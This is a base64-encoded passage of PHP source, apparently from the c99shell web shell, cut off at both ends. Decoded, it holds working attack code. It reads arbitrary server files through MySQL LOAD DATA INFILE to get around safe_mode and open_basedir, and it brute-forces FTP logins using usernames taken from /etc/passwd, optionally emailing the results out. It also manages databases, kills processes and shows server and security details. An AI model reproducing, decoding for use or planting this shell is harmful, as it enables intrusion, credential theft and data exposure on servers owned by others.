AgICAgIGVjaG8gIjx0ZD48Y2VudGVyPjxiPiIuJGkuIiB0YWJsZShzKTwvYj48L2NlbnRlcj48L3RkPiI7DQogICAgICBlY2hvICI8dGQ+PGI+Ii4kdHJvd3MuIjwvYj48L3RkPiI7DQogICAgICBlY2hvICI8dGQ+Ii4kcm93WzFdLiI8L3RkPiI7DQogICAgICBlY2hvICI8dGQ+Ii4kcm93WzEwXS4iPC90ZD4iOw0KICAgICAgZWNobyAiPHRkPiIuJHJvd1sxMV0uIjwvdGQ+IjsNCiAgICAgIGVjaG8gIjx0ZD48Yj4iLnZpZXdfc2l6ZSgkdHNpemUpLiI8L2I+PC90ZD4iOw0KICAgICAgZWNobyAiPHRkPjwvdGQ+IjsNCiAgICAgIGVjaG8gIjwvdHI+IjsNCiAgICAgIGVjaG8gIjwvdGFibGU+PGhyIHNpemU9XCIxXCIgbm9zaGFkZT48cCBhbGlnbj1cInJpZ2h0XCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1hcnJvd19sdHJcIiBib3JkZXI9XCIwXCI+PHNlbGVjdCBuYW1lPVwic3FsX2FjdFwiPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiXCI+V2l0aCBzZWxlY3RlZDo8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGRyb3BcIj5Ecm9wPC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxlbXB0eVwiPkVtcHR5PC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxkdW1wXCI+RHVtcDwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsY2hlY2tcIj5DaGVjayB0YWJsZTwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsb3B0aW1pemVcIj5PcHRpbWl6ZSB0YWJsZTwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJscmVwYWlyXCI+UmVwYWlyIHRhYmxlPC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxhbmFseXplXCI+QW5hbHl6ZSB0YWJsZTwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiQ29uZmlybVwiPjwvZm9ybT48L3A+IjsNCiAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgICB9DQogICAgfQ0KICAgfQ0KICAgfQ0KICB9DQogIGVsc2UNCiAgew0KICAgJGFjdHMgPSBhcnJheSgiIiwibmV3ZGIiLCJzZXJ2ZXJzdGF0dXMiLCJzZXJ2ZXJ2YXJzIiwicHJvY2Vzc2VzIiwiZ2V0ZmlsZSIpOw0KICAgaWYgKGluX2FycmF5KCRzcWxfYWN0LCRhY3RzKSkgez8+PHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMSI+PHRyPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjxiPkNyZWF0ZSBuZXcgREI6PC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNxbCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2FjdCIgdmFsdWU9Im5ld2RiIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfbmV3ZGIiIHNpemU9IjIwIj4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ3JlYXRlIj48L2Zvcm0+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48Yj5WaWV3IEZpbGU6PC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNxbCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2FjdCIgdmFsdWU9ImdldGZpbGUiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9nZXRmaWxlIiBzaXplPSIzMCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2dldGZpbGUpOyA/PiI+Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdldCI+PC9mb3JtPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48L3RyPjwvdGFibGU+PD9waHAgfQ0KICAgaWYgKCFlbXB0eSgkc3FsX2FjdCkpDQogICB7DQogICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOw0KICAgIGlmICgkc3FsX2FjdCA9PSAibmV3ZGIiKQ0KICAgIHsNCiAgICAgZWNobyAiPGI+IjsNCiAgICAgaWYgKChteXNxbF9jcmVhdGVfZGIgKCRzcWxfbmV3ZGIpKSBhbmQgKCFlbXB0eSgkc3FsX25ld2RiKSkpIHtlY2hvICJEQiBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX25ld2RiKS4iXCIgaGFzIGJlZW4gY3JlYXRlZCB3aXRoIHN1Y2Nlc3MhPC9iPjxicj4iO30NCiAgICAgZWxzZSB7ZWNobyAiQ2FuJ3QgY3JlYXRlIERCIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbmV3ZGIpLiJcIi48YnI+UmVhc29uOjwvYj4gIi5teXNxbF9zbWFydGVycm9yKCk7fQ0KICAgIH0NCiAgICBpZiAoJHNxbF9hY3QgPT0gInNlcnZlcnN0YXR1cyIpDQogICAgew0KICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgU1RBVFVTIiwgJHNxbF9zb2NrKTsgDQogICAgIGVjaG8gIjxjZW50ZXI+PGI+U2VydmVyLXN0YXR1cyB2YXJpYWJsZXM6PC9iPjxicj48YnI+IjsNCiAgICAgZWNobyAiPFRBQkxFIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MCBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jMzMzMzMzIGJvcmRlcj0xPjx0ZD48Yj5OYW1lPC9iPjwvdGQ+PHRkPjxiPlZhbHVlPC9iPjwvdGQ+PC90cj4iOw0KICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX05VTSkpIHtlY2hvICI8dHI+PHRkPiIuJHJvd1swXS4iPC90ZD48dGQ+Ii4kcm93WzFdLiI8L3RkPjwvdHI+Ijt9IA0KICAgICBlY2hvICI8L3RhYmxlPjwvY2VudGVyPiI7DQogICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgIH0NCiAgICBpZiAoJHNxbF9hY3QgPT0gInNlcnZlcnZhcnMiKQ0KICAgIHsNCiAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIFZBUklBQkxFUyIsICRzcWxfc29jayk7IA0KICAgICBlY2hvICI8Y2VudGVyPjxiPlNlcnZlciB2YXJpYWJsZXM6PC9iPjxicj48YnI+IjsNCiAgICAgZWNobyAiPFRBQkxFIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MCBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jMzMzMzMzIGJvcmRlcj0xPjx0ZD48Yj5OYW1lPC9iPjwvdGQ+PHRkPjxiPlZhbHVlPC9iPjwvdGQ+PC90cj4iOw0KICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX05VTSkpIHtlY2hvICI8dHI+PHRkPiIuJHJvd1swXS4iPC90ZD48dGQ+Ii4kcm93WzFdLiI8L3RkPjwvdHI+Ijt9IA0KICAgICBlY2hvICI8L3RhYmxlPiI7DQogICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgIH0NCiAgICBpZiAoJHNxbF9hY3QgPT0gInByb2Nlc3NlcyIpDQogICAgew0KICAgICBpZiAoIWVtcHR5KCRraWxsKSkgeyRxdWVyeSA9ICJLSUxMICIuJGtpbGwuIjsiOyAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5LCAkc3FsX3NvY2spOyBlY2hvICI8Yj5LaWxsaW5nIHByb2Nlc3MgIyIuJGtpbGwuIi4uLiBvay4gaGUgaXMgZGVhZCwgYW1lbi48L2I+Ijt9DQogICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBQUk9DRVNTTElTVCIsICRzcWxfc29jayk7IA0KICAgICBlY2hvICI8Y2VudGVyPjxiPlByb2Nlc3Nlczo8L2I+PGJyPjxicj4iOw0KICAgICBlY2hvICI8VEFCTEUgY2VsbFNwYWNpbmc9MCBjZWxsUGFkZGluZz0yIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSMzMzMzMzMgYm9yZGVyPTE+PHRkPjxiPklEPC9iPjwvdGQ+PHRkPjxiPlVTRVI8L2I+PC90ZD48dGQ+PGI+SE9TVDwvYj48L3RkPjx0ZD48Yj5EQjwvYj48L3RkPjx0ZD48Yj5DT01NQU5EPC9iPjwvdGQ+PHRkPjxiPlRJTUU8L2I+PC90ZD48dGQ+PGI+U1RBVEU8L2I+PC90ZD48dGQ+PGI+SU5GTzwvYj48L3RkPjx0ZD48Yj5BY3Rpb248L2I+PC90ZD48L3RyPiI7DQogICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfTlVNKSkgeyBlY2hvICI8dHI+PHRkPiIuJHJvd1swXS4iPC90ZD48dGQ+Ii4kcm93WzFdLiI8L3RkPjx0ZD4iLiRyb3dbMl0uIjwvdGQ+PHRkPiIuJHJvd1szXS4iPC90ZD48dGQ+Ii4kcm93WzRdLiI8L3RkPjx0ZD4iLiRyb3dbNV0uIjwvdGQ+PHRkPiIuJHJvd1s2XS4iPC90ZD48dGQ+Ii4kcm93WzddLiI8L3RkPjx0ZD48YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF9hY3Q9cHJvY2Vzc2VzJmtpbGw9Ii4kcm93WzBdLiJcIj48dT5LaWxsPC91PjwvYT48L3RkPjwvdHI+Ijt9DQogICAgIGVjaG8gIjwvdGFibGU+IjsNCiAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7DQogICAgfQ0KICAgIGlmICgkc3FsX2FjdCA9PSAiZ2V0ZmlsZSIpDQogICAgew0KICAgICAkdG1wZGIgPSAkc3FsX2xvZ2luLiJfdG1wZGIiOw0KICAgICAkc2VsZWN0ID0gbXlzcWxfc2VsZWN0X2RiKCR0bXBkYik7DQogICAgIGlmICghJHNlbGVjdCkge215c3FsX2NyZWF0ZV9kYigkdG1wZGIpOyAkc2VsZWN0ID0gbXlzcWxfc2VsZWN0X2RiKCR0bXBkYik7ICRjcmVhdGVkID0gISEkc2VsZWN0O30NCiAgICAgaWYgKCRzZWxlY3QpDQogICAgIHsNCiAgICAgICRjcmVhdGVkID0gZmFsc2U7DQogICAgICBteXNxbF9xdWVyeSgiQ1JFQVRFIFRBQkxFIGB0bXBfZmlsZWAgKCBgVmlld2luZyB0aGUgZmlsZSBpbiBzYWZlX21vZGUrb3Blbl9iYXNlZGlyYCBMT05HQkxPQiBOT1QgTlVMTCApOyIpOw0KICAgICAgbXlzcWxfcXVlcnkoIkxPQUQgREFUQSBJTkZJTEUgXCIiLmFkZHNsYXNoZXMoJHNxbF9nZXRmaWxlKS4iXCIgSU5UTyBUQUJMRSB0bXBfZmlsZSIpOw0KICAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIHRtcF9maWxlOyIpOw0KICAgICAgaWYgKCEkcmVzdWx0KSB7ZWNobyAiPGI+RXJyb3IgaW4gcmVhZGluZyBmaWxlIChwZXJtaXNpb24gZGVuaWVkKSE8L2I+Ijt9DQogICAgICBlbHNlDQogICAgICB7DQogICAgICAgZm9yICgkaT0wOyRpPG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7JGkrKykgeyRuYW1lID0gbXlzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCRpKTt9DQogICAgICAgJGYgPSAiIjsgDQogICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQykpIHskZiAuPSBqb2luICgiXHJcbiIsJHJvdyk7fQ0KICAgICAgIGlmIChlbXB0eSgkZikpIHtlY2hvICI8Yj5GaWxlIFwiIi4kc3FsX2dldGZpbGUuIlwiIGRvZXMgbm90IGV4aXN0cyBvciBlbXB0eSE8L2I+PGJyPiI7fQ0KICAgICAgIGVsc2Uge2VjaG8gIjxiPkZpbGUgXCIiLiRzcWxfZ2V0ZmlsZS4iXCI6PC9iPjxicj4iLm5sMmJyKGh0bWxzcGVjaWFsY2hhcnMoJGYpKS4iPGJyPiI7fQ0KICAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgICAgIG15c3FsX3F1ZXJ5KCJEUk9QIFRBQkxFIHRtcF9maWxlOyIpOw0KICAgICAgfQ0KICAgICB9DQogICAgIG15c3FsX2Ryb3BfZGIoJHRtcGRiKTsgLy9jb21tZW50IGl0IGlmIHlvdSB3YW50IHRvIGxlYXZlIGRhdGFiYXNlDQogICAgfQ0KICAgfQ0KICB9DQogfQ0KIGVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7DQogaWYgKCRzcWxfc29jaykNCiB7DQogICRhZmZlY3RlZCA9IEBteXNxbF9hZmZlY3RlZF9yb3dzKCRzcWxfc29jayk7DQogIGlmICgoIWlzX251bWVyaWMoJGFmZmVjdGVkKSkgb3IgKCRhZmZlY3RlZCA8IDApKXskYWZmZWN0ZWQgPSAwO30NCiAgZWNobyAiPHRyPjx0ZD48Y2VudGVyPjxiPkFmZmVjdGVkIHJvd3M6ICIuJGFmZmVjdGVkLiI8L2NlbnRlcj48L3RkPjwvdHI+IjsNCiB9DQogZWNobyAiPC90YWJsZT4iOw0KfQ0KaWYgKCRhY3QgPT0gIm1rZGlyIikNCnsNCiBpZiAoJG1rZGlyICE9ICRkKQ0KIHsNCiAgaWYgKGZpbGVfZXhpc3RzKCRta2RpcikpIHtlY2hvICI8Yj5NYWtlIERpciBcIiIuaHRtbHNwZWNpYWxjaGFycygkbWtkaXIpLiJcIjwvYj46IG9iamVjdCBhbHJlZHkgZXhpc3RzIjt9DQogIGVsc2VpZiAoIW1rZGlyKCRta2RpcikpIHtlY2hvICI8Yj5NYWtlIERpciBcIiIuaHRtbHNwZWNpYWxjaGFycygkbWtkaXIpLiJcIjwvYj46IGFjY2VzcyBkZW5pZWQiO30NCiAgZWNobyAiPGJyPjxicj4iOw0KIH0NCiAkYWN0ID0gJGRzcGFjdCA9ICJscyI7DQp9DQppZiAoJGFjdCA9PSAiZnRwcXVpY2ticnV0ZSIpDQp7DQogZWNobyAiPGI+RnRwIFF1aWNrIGJydXRlOjwvYj48YnI+IjsNCiBpZiAoIXdpbikge2VjaG8gIlRoaXMgZnVuY3Rpb25zIG5vdCB3b3JrIGluIFdpbmRvd3MhPGJyPjxicj4iO30NCiBlbHNlDQogew0KICBmdW5jdGlvbiBjOTlmdHBicnV0ZWNoZWNrKCRob3N0LCRwb3J0LCR0aW1lb3V0LCRsb2dpbiwkcGFzcywkc2gsJGZxYl9vbmx5d2l0aHNoKQ0KICB7DQogICBpZiAoJGZxYl9vbmx5d2l0aHNoKSB7JHRydWUgPSAoIWluX2FycmF5KCRzaCxhcnJheSgiL2Jpbi9mYWxzZSIsIi9zYmluL25vbG9naW4iKSkpO30NCiAgIGVsc2UgeyR0cnVlID0gdHJ1ZTt9DQogICBpZiAoJHRydWUpDQogICB7DQogICAgJHNvY2sgPSBAZnRwX2Nvbm5lY3QoJGhvc3QsJHBvcnQsJHRpbWVvdXQpOw0KICAgIGlmIChAZnRwX2xvZ2luKCRzb2NrLCRsb2dpbiwkcGFzcykpDQogICAgew0KICAgICBlY2hvICI8YSBocmVmPVwiZnRwOi8vIi4kbG9naW4uIjoiLiRwYXNzLiJAIi4kaG9zdC4iXCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGI+Q29ubmVjdGVkIHRvICIuJGhvc3QuIiB3aXRoIGxvZ2luIFwiIi4kbG9naW4uIlwiIGFuZCBwYXNzd29yZCBcIiIuJHBhc3MuIlwiPC9iPjwvYT4uPGJyPiI7DQogICAgIG9iX2ZsdXNoKCk7DQogICAgIHJldHVybiB0cnVlOw0KICAgIH0NCiAgIH0NCiAgfQ0KICBpZiAoIWVtcHR5KCRzdWJtaXQpKQ0KICB7DQogICBpZiAoIWlzX251bWVyaWMoJGZxYl9sZW5naHQpKSB7JGZxYl9sZW5naHQgPSAkbml4cHdkcGVycGFnZTt9DQogICAkZnAgPSBmb3BlbigiL2V0Yy9wYXNzd2QiLCJyIik7DQogICBpZiAoISRmcCkge2VjaG8gIkNhbid0IGdldCAvZXRjL3Bhc3N3ZCBmb3IgcGFzc3dvcmQtbGlzdC4iO30NCiAgIGVsc2UNCiAgIHsNCiAgICBpZiAoJGZxYl9sb2dnaW5nKQ0KICAgIHsNCiAgICAgaWYgKCRmcWJfbG9nZmlsZSkgeyRmcWJfbG9nZnAgPSBmb3BlbigkZnFiX2xvZ2ZpbGUsInciKTt9DQogICAgIGVsc2UgeyRmcWJfbG9nZnAgPSBmYWxzZTt9DQogICAgICRmcWJfbG9nID0gIkZUUCBRdWljayBCcnV0ZSAoY2FsbGVkIGM5OXNoZWxsIHYuICIuJHNodmVyLiIpIHN0YXJ0ZWQgYXQgIi5kYXRlKCJkLm0uWSBIOmk6cyIpLiJcclxuXHJcbiI7DQogICAgIGlmICgkZnFiX2xvZ2ZpbGUpIHtmd3JpdGUoJGZxYl9sb2dmcCwkZnFiX2xvZyxzdHJsZW4oJGZxYl9sb2cpKTt9DQogICAgfQ0KICAgIG9iX2ZsdXNoKCk7DQogICAgJGkgPSAkc3VjY2VzcyA9IDA7DQogICAgJGZ0cHF1aWNrX3N0ID0gZ2V0bWljcm90aW1lKCk7DQogICAgd2hpbGUoIWZlb2YoJGZwKSkNCiAgICB7IA0KICAgICAkc3RyID0gZXhwbG9kZSgiOiIsZmdldHMoJGZwLDIwNDgpKTsNCiAgICAgaWYgKGM5OWZ0cGJydXRlY2hlY2soImxvY2FsaG9zdCIsMjEsMSwkc3RyWzBdLCRzdHJbMF0sJHN0cls2XSwkZnFiX29ubHl3aXRoc2gpKQ0KICAgICB7DQogICAgICBlY2hvICI8Yj5Db25uZWN0ZWQgdG8gIi4kU0VSVkVSX05BTUUuIiB3aXRoIGxvZ2luIFwiIi4kc3RyWzBdLiJcIiBhbmQgcGFzc3dvcmQgXCIiLiRzdHJbMF0uIlwiPC9iPjxicj4iOw0KICAgICAgJGZxYl9sb2cgLj0gIkNvbm5lY3RlZCB0byAiLiRTRVJWRVJfTkFNRS4iIHdpdGggbG9naW4gXCIiLiRzdHJbMF0uIlwiIGFuZCBwYXNzd29yZCBcIiIuJHN0clswXS4iXCIsIGF0ICIuZGF0ZSgiZC5tLlkgSDppOnMiKS4iXHJcbiI7DQogICAgICBpZiAoJGZxYl9sb2dmcCkge2ZzZWVrKCRmcWJfbG9nZnAsMCk7IGZ3cml0ZSgkZnFiX2xvZ2ZwLCRmcWJfbG9nLHN0cmxlbigkZnFiX2xvZykpO30NCiAgICAgICRzdWNjZXNzKys7DQogICAgICBvYl9mbHVzaCgpOw0KICAgICB9DQogICAgIGlmICgkaSA+ICRmcWJfbGVuZ2h0KSB7YnJlYWs7fQ0KICAgICAkaSsrOw0KICAgIH0gDQogICAgaWYgKCRzdWNjZXNzID09IDApIHtlY2hvICJObyBzdWNjZXNzLiBjb25uZWN0aW9ucyEiOyAkZnFiX2xvZyAuPSAiTm8gc3VjY2Vzcy4gY29ubmVjdGlvbnMhXHJcbiI7fQ0KICAgICRmdHBxdWlja190ID0gcm91bmQoZ2V0bWljcm90aW1lKCktJGZ0cHF1aWNrX3N0LDQpOw0KICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+PGI+RG9uZSE8L2I+PGJyPlRvdGFsIHRpbWUgKHNlY3MuKTogIi4kZnRwcXVpY2tfdC4iPGJyPlRvdGFsIGNvbm5lY3Rpb25zOiAiLiRpLiI8YnI+U3VjY2Vzcy46IDxmb250IGNvbG9yPVwiZ3JlZW5cIj48Yj4iLiRzdWNjZXNzLiI8L2I+PC9mb250Pjxicj5VbnN1Y2Nlc3MuOiIuKCRpLSRzdWNjZXNzKS4iPC9iPjxicj5Db25uZWN0cyBwZXIgc2Vjb25kOiAiLnJvdW5kKCRpLyRmdHBxdWlja190LDIpLiI8YnI+IjsNCiAgICAkZnFiX2xvZyAuPSAiXHJcbi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5Eb25lIVxyXG5Ub3RhbCB0aW1lIChzZWNzLik6ICIuJGZ0cHF1aWNrX3QuIlxyXG5Ub3RhbCBjb25uZWN0aW9uczogIi4kaS4iXHJcblN1Y2Nlc3MuOiAiLiRzdWNjZXNzLiJcclxuVW5zdWNjZXNzLjoiLigkaS0kc3VjY2VzcykuIlxyXG5Db25uZWN0cyBwZXIgc2Vjb25kOiAiLnJvdW5kKCRpLyRmdHBxdWlja190LDIpLiJcclxuIjsNCiAgICBpZiAoJGZxYl9sb2dmcCkge2ZzZWVrKCRmcWJfbG9nZnAsMCk7IGZ3cml0ZSgkZnFiX2xvZ2ZwLCRmcWJfbG9nLHN0cmxlbigkZnFiX2xvZykpO30NCiAgICBpZiAoJGZxYl9sb2dlbWFpbCkge0BtYWlsKCRmcWJfbG9nZW1haWwsImM5OXNoZWxsIHYuICIuJHNodmVyLiIgcmVwb3J0IiwkZnFiX2xvZyk7fQ0KICAgIGZjbG9zZSgkZnFiX2xvZ2ZwKTsNCiAgIH0NCiAgfQ0KICBlbHNlDQogIHsNCiAgICRsb2dmaWxlID0gJHRtcGRpcl9sb2dzLiJjOTlzaF9mdHBxdWlja2JydXRlXyIuZGF0ZSgiZC5tLllfSF9pX3MiKS4iLmxvZyI7DQogICAkbG9nZmlsZSA9IHN0cl9yZXBsYWNlKCIvLyIsRElSRUNUT1JZX1NFUEFSQVRPUiwkbG9nZmlsZSk7DQogICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PGJyPlJlYWQgZmlyc3Q6IDxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJmcWJfbGVuZ2h0XCIgdmFsdWU9XCIiLiRuaXhwd2RwZXJwYWdlLiJcIj48YnI+PGJyPlVzZXJzIG9ubHkgd2l0aCBzaGVsbD8mbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImZxYl9vbmx5d2l0aHNoXCIgdmFsdWU9XCIxXCI+PGJyPjxicj5Mb2dnaW5nPyZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiZnFiX2xvZ2dpbmdcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPjxicj5Mb2dnaW5nIHRvIGZpbGU/Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImZxYl9sb2dmaWxlXCIgdmFsdWU9XCIiLiRsb2dmaWxlLiJcIiBzaXplPVwiIi4oc3RybGVuKCRsb2dmaWxlKSsyKihzdHJsZW4oJGxvZ2ZpbGUpLzEwKSkuIlwiPjxicj5Mb2dnaW5nIHRvIGUtbWFpbD8mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiZnFiX2xvZ2VtYWlsXCIgdmFsdWU9XCIiLiRsb2dfZW1haWwuIlwiIHNpemU9XCIiLihzdHJsZW4oJGxvZ2VtYWlsKSsyKihzdHJsZW4oJGxvZ2VtYWlsKS8xMCkpLiJcIj48YnI+PGJyPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cInN1Ym1pdFwiIHZhbHVlPVwiQnJ1dGVcIj48L2Zvcm0+IjsNCiAgfQ0KIH0NCn0NCmlmICgkYWN0ID09ICJkIikNCnsNCiBpZiAoIWlzX2RpcigkZCkpIHtlY2hvICI8Y2VudGVyPjxiPlBlcm1pc2lvbiBkZW5pZWQhPC9iPjwvY2VudGVyPiI7fQ0KIGVsc2UNCiB7DQogIGVjaG8gIjxiPkRpcmVjdG9yeSBpbmZvcm1hdGlvbjo8L2I+PHRhYmxlIGJvcmRlcj0wIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9Mj4iOw0KICBpZiAoISR3aW4pDQogIHsNCiAgIGVjaG8gIjx0cj48dGQ+PGI+T3duZXIvR3JvdXA8L2I+PC90ZD48dGQ+ICI7ICAgICAgDQogICAkdG1wID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRkKSk7DQogICBpZiAoJHRtcFsibmFtZSJdID09ICIiKSB7ZWNobyBmaWxlb3duZXIoJGQpLiIvIjt9DQogICBlbHNlIHtlY2hvICR0bXBbIm5hbWUiXS4iLyI7fQ0KICAgJHRtcCA9IHBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkZCkpOw0KICAgaWYgKCR0bXBbIm5hbWUiXSA9PSAiIikge2VjaG8gZmlsZWdyb3VwKCRkKTt9DQogICBlbHNlIHtlY2hvICR0bXBbIm5hbWUiXTt9DQogIH0NCiAgZWNobyAiPHRyPjx0ZD48Yj5QZXJtczwvYj48L3RkPjx0ZD48YSBocmVmPVwiIi4kc3VybC4iYWN0PWNobW9kJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj48Yj4iLnZpZXdfcGVybXNfY29sb3IoJGQpLiI8L2I+PC9hPjx0cj48dGQ+PGI+Q3JlYXRlIHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVjdGltZSgkZCkpLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5BY2Nlc3MgdGltZTwvYj48L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZWF0aW1lKCRkKSkuIjwvdGQ+PC90cj48dHI+PHRkPjxiPk1PRElGWSB0aW1lPC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlbXRpbWUoJGQpKS4iPC90ZD48L3RyPjwvdGFibGU+PGJyPiI7DQogfQ0KfQ0KaWYgKCRhY3QgPT0gInBocGluZm8iKSB7QG9iX2NsZWFuKCk7IHBocGluZm8oKTsgZXhpdDt9DQppZiAoJGFjdCA9PSAic2VjdXJpdHkiKQ0Kew0KIGVjaG8gIjxjZW50ZXI+PGI+U2VydmVyIHNlY3VyaXR5IGluZm9ybWF0aW9uOjwvYj48L2NlbnRlcj48Yj5Tb2Z